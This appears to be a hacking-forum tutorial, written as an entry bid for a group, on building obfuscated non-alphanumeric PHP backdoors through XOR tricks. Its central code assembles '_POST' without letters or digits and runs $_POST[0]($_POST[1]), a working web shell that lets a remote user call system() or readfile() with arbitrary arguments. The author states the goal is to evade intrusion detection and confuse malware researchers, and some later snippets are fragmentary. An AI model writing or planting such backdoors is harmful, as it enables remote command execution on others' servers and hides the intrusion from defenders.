[img]http://i.minus.com/ieq6viOQ6szdE.gif[/img]
This tutorial is my attempt at entrance to Legion.
In it, I will cover how to write non-alphanumeric PHP backdoors. This requires a bit of prior knowledge.
You will need to know:
- PHP
- Logic
- How to use curl or at least some kind of HTTP request editor (if you're going to make a strange backdoor)
You'll also need to know the mathematical concept behind the XOR operation (^ in PHP).
As a quick primer, I'll go over what that does. XOR takes two bits and compares them, then generates a new bit depending on the result. If the bits compared are the same, the result bit is 0. If they're different, the result bit is 1. In PHP, this comparison is done bit-by-bit with two bytes.
Example:
Code
A B A XOR B
0 1 1
0 0 0
1 1 0XOR also is commutative, and has an identity property. XORing a bit with 0 always returns itself, and XORing a bit with itself always returns 0.
This crap will be important later, when our backdoor decodes itself.
To find values to use in your code, try this:
PHP Code
<?php
echo "A" ^ "}"; ?>We'll need to go over a few more ideas first, that may not be obvious to some people. PHP is a weakly typed language, meaning we can abuse its typing a bit.
For example, we can cast strings as functions, ints as strings and booleans as ints.
Example:
PHP Code
<?php
$_++; // This will throw a warning, suppressable with the @ operator.
// Because an undefined variable's value is null, and null==false==0, we can add 1 to it and create a number without using any numbers.
$__="<"^"}"; // This is "A".
$__("stuff"); // A is an undefined function so this will error and die. I don't care. It still shows that we can call strings as functions.
$___=!$_; // This will be !1 = !true = false
Now, why would we want to make a non-alpha PHP backdoor, you might ask? Well, there are a few reasons. Mainly we would want to bypass an IDS and confuse the hell out of malware researchers, but there are many other reasons I could think of.
The basic idea is to create some useful strings like "_POST", "system", "call_user_func_array", or whatever we want to do in our backdoor, then call them with user input as parameters, all without using a single letter or number in our code. We can do this using the XOR operator and other bitwise shifts if we so desire.
A rather oversimplified example of a nonalpha PHP backdoor is as follows:
PHP Code
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
/* we have to encapsulate our $__ in {}s so we don't confuse PHP.
Without these, it will return $("_POST"[0]) which is "_", instead of our input.
*/
?>PHP Code
<?php
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
PHP Code
<?php
@$__!=@!_?@$___(${$_}[$____],${$_}[$__]):@$___(${$_}[$____]);
To actually use the backdoor above, we'd need to send POST variables as such:
0=function name we want to call, such as system() or readfile().
1=parameters, the command we want to run, file we want to read or whatever.
If there's anything I missed or that you'd like me to add to this, please let me know, and please provide feedback. Thanks.
Am I cool yet?
